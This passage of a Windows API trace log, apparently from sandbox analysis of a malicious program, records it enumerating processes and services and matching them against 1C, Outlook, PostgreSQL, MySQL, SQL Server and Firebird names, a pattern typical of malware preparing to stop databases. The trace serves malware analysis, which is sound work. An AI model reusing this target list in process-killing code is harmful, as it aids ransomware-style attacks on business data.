cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.388] lstrlenW (lpString="svchost.exe") returned 11 [0104.388] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0104.389] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0104.389] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0104.391] lstrlenW (lpString="finbbp.exe") returned 10 [0104.392] lstrcmpiW (lpString1="1c8.exe", lpString2="finbbp.exe") returned -1 [0104.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="finbbp.exe") returned -1 [0104.392] lstrcmpiW (lpString1="outlook.exe", lpString2="finbbp.exe") returned 1 [0104.392] lstrcmpiW (lpString1="postgres.exe", lpString2="finbbp.exe") returned 1 [0104.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="finbbp.exe") returned 1 [0104.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="finbbp.exe") returned 1 [0104.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="finbbp.exe") returned 1 [0104.392] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0104.392] lstrlenW (lpString="dllhost.exe") returned 11 [0104.392] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0104.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0104.392] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0104.392] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0104.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0104.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0104.393] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0104.393] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0104.393] lstrlenW (lpString="cmd.exe") returned 7 [0104.393] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0104.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0104.393] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0104.393] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0104.393] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0104.393] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0104.393] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0104.393] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.394] lstrlenW (lpString="conhost.exe") returned 11 [0104.394] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0104.394] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0104.394] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0104.394] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0104.394] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0104.394] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0104.394] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0104.394] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0104.395] lstrlenW (lpString="sppsvc.exe") returned 10 [0104.395] lstrcmpiW (lpString1="1c8.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="1cv77.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="outlook.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="postgres.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="mysqld.exe", lpString2="sppsvc.exe") returned -1 [0104.395] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sppsvc.exe") returned 1 [0104.395] Process32NextW (in: hSnapshot=0x34c, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0104.396] CloseHandle (hObject=0x34c) returned 1 [0104.396] Sleep (dwMilliseconds=0x1f4) [0105.057] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ee8b8 [0105.059] EnumServicesStatusExW (in: hSCManager=0x4ee8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0105.061] GetLastError () returned 0xea [0105.061] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1d4a) returned 0x507720 [0105.061] EnumServicesStatusExW (in: hSCManager=0x4ee8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x507720, cbBufSize=0x1d4a, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x507720, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0105.063] CloseServiceHandle (hSCObject=0x4ee8b8) returned 1 [0105.063] lstrlenW (lpString="Appinfo") returned 7 [0105.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0105.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0105.063] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0105.063] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0105.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0105.063] lstrlenW (lpString="AppXSvc") returned 7 [0105.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0105.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0105.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0105.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0105.063] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0105.063] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0105.063] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.063] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0105.063] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0105.063] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0105.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0105.064] lstrlenW (lpString="Audiosrv") returned 8 [0105.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0105.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0105.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0105.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0105.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0105.064] lstrlenW (lpString="BFE") returned 3 [0105.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0105.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0105.064] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0105.064] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0105.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0105.064] lstrlenW (lpString="BITS") returned 4 [0105.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0105.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0105.064] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0105.064] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0105.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0105.064] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0105.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0105.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0105.064] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0105.064] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0105.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0105.064] lstrlenW (lpString="CDPSvc") returned 6 [0105.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0105.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0105.065] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0105.065] lstrlenW (lpString="ClickToRunSvc") returned 13 [0105.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0105.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0105.065] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0105.065] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0105.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0105.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0105.065] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0105.065] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0105.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0105.065] lstrlenW (lpString="CryptSvc") returned 8 [0105.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0105.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0105.065] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0105.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0105.065] lstrlenW (lpString="DcomLaunch") returned 10 [0105.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0105.065] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0105.065] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0105.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0105.065] lstrlenW (lpString="DeviceAssociationService") returned 24 [0105.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0105.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0105.066] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0105.066] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0105.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0105.066] lstrlenW (lpString="Dhcp") returned 4 [0105.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0105.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0105.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0105.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0105.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0105.066] lstrlenW (lpString="Dnscache") returned 8 [0105.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0105.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0105.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0105.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0105.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0105.066] lstrlenW (lpString="DoSvc") returned 5 [0105.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0105.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0105.066] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0105.066] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0105.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0105.066] lstrlenW (lpString="DPS") returned 3 [0105.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0105.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0105.066] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0105.066] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0105.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0105.067] lstrlenW (lpString="DusmSvc") returned 7 [0105.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0105.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0105.067] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0105.067] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0105.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0105.067] lstrlenW (lpString="EventLog") returned 8 [0105.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0105.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0105.067] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0105.067] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0105.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0105.067] lstrlenW (lpString="EventSystem") returned 11 [0105.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0105.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0105.067] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0105.067] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0105.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0105.067] lstrlenW (lpString="FontCache") returned 9 [0105.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0105.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0105.067] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0105.067] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0105.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0105.067] lstrlenW (lpString="gpsvc") returned 5 [0105.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0105.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0105.067] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0105.068] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0105.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0105.068] lstrlenW (lpString="iphlpsvc") returned 8 [0105.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0105.068] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0105.068] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0105.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0105.068] lstrlenW (lpString="KeyIso") returned 6 [0105.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0105.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0105.068] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0105.068] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0105.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0105.068] lstrlenW (lpString="LanmanServer") returned 12 [0105.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0105.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0105.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0105.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0105.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0105.068] lstrlenW (lpString="LanmanWorkstation") returned 17 [0105.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0105.068] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0105.068] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0105.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0105.068] lstrlenW (lpString="lfsvc") returned 5 [0105.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0105.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0105.069] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0105.069] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0105.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0105.069] lstrlenW (lpString="lmhosts") returned 7 [0105.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0105.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0105.069] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0105.069] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0105.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0105.069] lstrlenW (lpString="LSM") returned 3 [0105.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0105.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0105.069] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0105.069] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0105.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0105.069] lstrlenW (lpString="MapsBroker") returned 10 [0105.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0105.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0105.069] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0105.069] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0105.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0105.069] lstrlenW (lpString="MpsSvc") returned 6 [0105.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0105.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0105.069] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0105.069] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0105.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0105.070] lstrlenW (lpString="NcbService") returned 10 [0105.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0105.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0105.070] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0105.070] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0105.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0105.070] lstrlenW (lpString="netprofm") returned 8 [0105.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0105.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0105.070] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0105.070] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0105.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0105.070] lstrlenW (lpString="NlaSvc") returned 6 [0105.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0105.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0105.070] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0105.070] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0105.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0105.070] lstrlenW (lpString="nsi") returned 3 [0105.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0105.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0105.070] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0105.070] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0105.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0105.070] lstrlenW (lpString="PcaSvc") returned 6 [0105.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0105.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0105.070] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0105.071] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0105.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0105.071] lstrlenW (lpString="PlugPlay") returned 8 [0105.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0105.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0105.071] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0105.071] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0105.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0105.071] lstrlenW (lpString="Power") returned 5 [0105.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0105.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0105.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0105.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0105.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0105.071] lstrlenW (lpString="ProfSvc") returned 7 [0105.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0105.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0105.071] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0105.071] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0105.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0105.071] lstrlenW (lpString="RpcEptMapper") returned 12 [0105.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0105.071] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0105.071] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0105.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0105.071] lstrlenW (lpString="RpcSs") returned 5 [0105.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0105.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0105.072] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0105.072] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0105.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0105.072] lstrlenW (lpString="SamSs") returned 